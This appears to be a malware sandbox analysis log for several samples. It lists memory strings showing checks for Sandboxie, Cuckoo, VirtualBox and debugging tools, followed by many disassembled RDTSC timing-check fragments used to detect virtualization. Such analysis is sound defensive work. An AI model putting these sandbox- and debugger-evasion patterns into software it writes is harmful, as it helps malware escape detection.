Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLT-^Q
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLCUCKOOMON.DLL
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEC8C second address: CEECCA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8388CACA58h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f jmp 00007F8388CACA67h 0x00000014 pop ebx 0x00000015 pushad 0x00000016 jmp 00007F8388CACA64h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E639FF second address: E63A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8389204225h 0x00000009 popad 0x0000000a jmp 00007F8389204224h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63A2D second address: E63A38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F8388CACA56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63A38 second address: E63A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F838920421Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F8389204216h 0x00000014 jne 00007F8389204216h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B04B second address: E5B08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8388CACA66h 0x00000009 jns 00007F8388CACA56h 0x0000000f popad 0x00000010 jnp 00007F8388CACA6Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B08B second address: E5B097 instructions: 0x00000000 rdtsc 0x00000002 je 00007F838920421Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62E6C second address: E62E70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62E70 second address: E62E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63298 second address: E6329C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6329C second address: E632B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F8389204226h 0x0000000c jbe 00007F8389204216h 0x00000012 jmp 00007F838920421Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65A23 second address: E65A27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65A27 second address: E65A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65C2F second address: E65CDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8388CACA66h 0x00000008 jg 00007F8388CACA56h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop eax 0x00000012 mov dword ptr [ebp+122D2915h], ecx 0x00000018 push 00000003h 0x0000001a call 00007F8388CACA60h 0x0000001f js 00007F8388CACA5Ch 0x00000025 or esi, 172E856Dh 0x0000002b pop esi 0x0000002c push 00000000h 0x0000002e mov di, CC7Ah 0x00000032 push 00000003h 0x00000034 mov edi, 649290C1h 0x00000039 push 9FED6D3Ah 0x0000003e pushad 0x0000003f push eax 0x00000040 jmp 00007F8388CACA65h 0x00000045 pop eax 0x00000046 push ebx 0x00000047 push edi 0x00000048 pop edi 0x00000049 pop ebx 0x0000004a popad 0x0000004b xor dword ptr [esp], 5FED6D3Ah 0x00000052 lea ebx, dword ptr [ebp+1244A91Ch] 0x00000058 mov dword ptr [ebp+122D266Ah], ecx 0x0000005e xchg eax, ebx 0x0000005f pushad 0x00000060 je 00007F8388CACA58h 0x00000066 push esi 0x00000067 pop esi 0x00000068 jnl 00007F8388CACA5Ch 0x0000006e je 00007F8388CACA56h 0x00000074 popad 0x00000075 push eax 0x00000076 pushad 0x00000077 jnp 00007F8388CACA5Ch 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86C4F second address: E86C68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Ch 0x00000007 jbe 00007F8389204216h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86C68 second address: E86CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8388CACA56h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F8388CACA5Dh 0x00000014 jne 00007F8388CACA5Ch 0x0000001a pushad 0x0000001b push eax 0x0000001c pop eax 0x0000001d jne 00007F8388CACA56h 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8388CACA62h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A632 second address: E4A636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A636 second address: E4A65C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8388CACA56h 0x00000008 jmp 00007F8388CACA68h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84AA4 second address: E84AA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84AA8 second address: E84AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84AAE second address: E84AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84AB4 second address: E84ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8388CACA56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84BC0 second address: E84BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84BC4 second address: E84BFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA62h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F8388CACA69h 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84BFA second address: E84BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84BFF second address: E84C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84C05 second address: E84C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84C0B second address: E84C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84DAD second address: E84DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84DB1 second address: E84DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84F22 second address: E84F53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8389204228h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84F53 second address: E84F59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E850B0 second address: E850CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F8389204224h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85204 second address: E8520B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E854A9 second address: E854B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8389204216h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E854B4 second address: E854CF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8388CACA58h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d js 00007F8388CACA62h 0x00000013 ja 00007F8388CACA56h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E854CF second address: E854F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8389204225h 0x00000009 pushad 0x0000000a jns 00007F8389204216h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E858CE second address: E85903 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA63h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8388CACA68h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85903 second address: E85907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85AA4 second address: E85AD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA5Ch 0x00000007 jo 00007F8388CACA67h 0x0000000d ja 00007F8388CACA56h 0x00000013 jmp 00007F8388CACA5Bh 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85AD6 second address: E85AE8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8389204216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F838920422Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7DAEA second address: E7DAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86ABD second address: E86AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E5A1 second address: E5E5DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007F8388CACA56h 0x00000010 pop eax 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F8388CACA68h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95286 second address: E9528C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9528C second address: E9529F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F8388CACA56h 0x0000000d jnp 00007F8388CACA56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9529F second address: E952B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204220h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E952B5 second address: E952BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95430 second address: E9543E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F8389204216h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9543E second address: E95444 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95444 second address: E9545E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F8389204220h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9545E second address: E9546C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9546C second address: E95472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95472 second address: E95476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95476 second address: E9547E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E955BA second address: E955C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E955C0 second address: E955EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204223h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8389204225h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E955EE second address: E95600 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8388CACA56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95600 second address: E95615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8389204221h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95615 second address: E95627 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F8388CACA56h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E965EC second address: E9661B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 1F099AC2h 0x0000000d push edx 0x0000000e mov edi, dword ptr [ebp+122D3969h] 0x00000014 pop edi 0x00000015 call 00007F8389204219h 0x0000001a jmp 00007F838920421Bh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9661B second address: E96622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E96622 second address: E96628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E96998 second address: E9699C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9721C second address: E97220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97394 second address: E9739A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9739A second address: E9739E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97859 second address: E97868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA5Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9880C second address: E98833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F838920421Ch 0x0000000a jnp 00007F8389204216h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007F838920421Fh 0x00000019 pop edi 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9ADE1 second address: E9ADEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9ADEC second address: E9ADF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9ADF0 second address: E9ADF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9ADF4 second address: E9AE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F8389204216h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AE05 second address: E9AE09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AE09 second address: E9AE17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F8389204216h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AE17 second address: E9AE81 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8388CACA56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F8388CACA58h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D388Dh] 0x0000002c sub dword ptr [ebp+1244CC0Ch], edx 0x00000032 push 00000000h 0x00000034 mov di, bx 0x00000037 add esi, dword ptr [ebp+122D3A51h] 0x0000003d push 00000000h 0x0000003f jmp 00007F8388CACA66h 0x00000044 push eax 0x00000045 pushad 0x00000046 pushad 0x00000047 jo 00007F8388CACA56h 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AE81 second address: E9AE8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F8389204216h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AE8E second address: E9AE92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C50E second address: E9C52E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8389204225h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C2CD second address: E9C2F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F8388CACA5Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C52E second address: E9C534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C2F7 second address: E9C2FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CEB2 second address: E9CF50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204226h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007F8389204225h 0x00000010 push edx 0x00000011 jmp 00007F838920421Dh 0x00000016 pop edx 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F8389204218h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 call 00007F838920421Dh 0x00000037 js 00007F8389204227h 0x0000003d jmp 00007F8389204221h 0x00000042 pop esi 0x00000043 jmp 00007F8389204220h 0x00000048 push 00000000h 0x0000004a mov di, dx 0x0000004d add esi, 00CB76AAh 0x00000053 push 00000000h 0x00000055 mov si, ax 0x00000058 xchg eax, ebx 0x00000059 push ecx 0x0000005a push eax 0x0000005b push edx 0x0000005c ja 00007F8389204216h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CC6E second address: E9CC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jnp 00007F8388CACA56h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CF50 second address: E9CF77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204223h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F838920421Ch 0x00000013 jo 00007F8389204216h 0x00000019 rdtsc
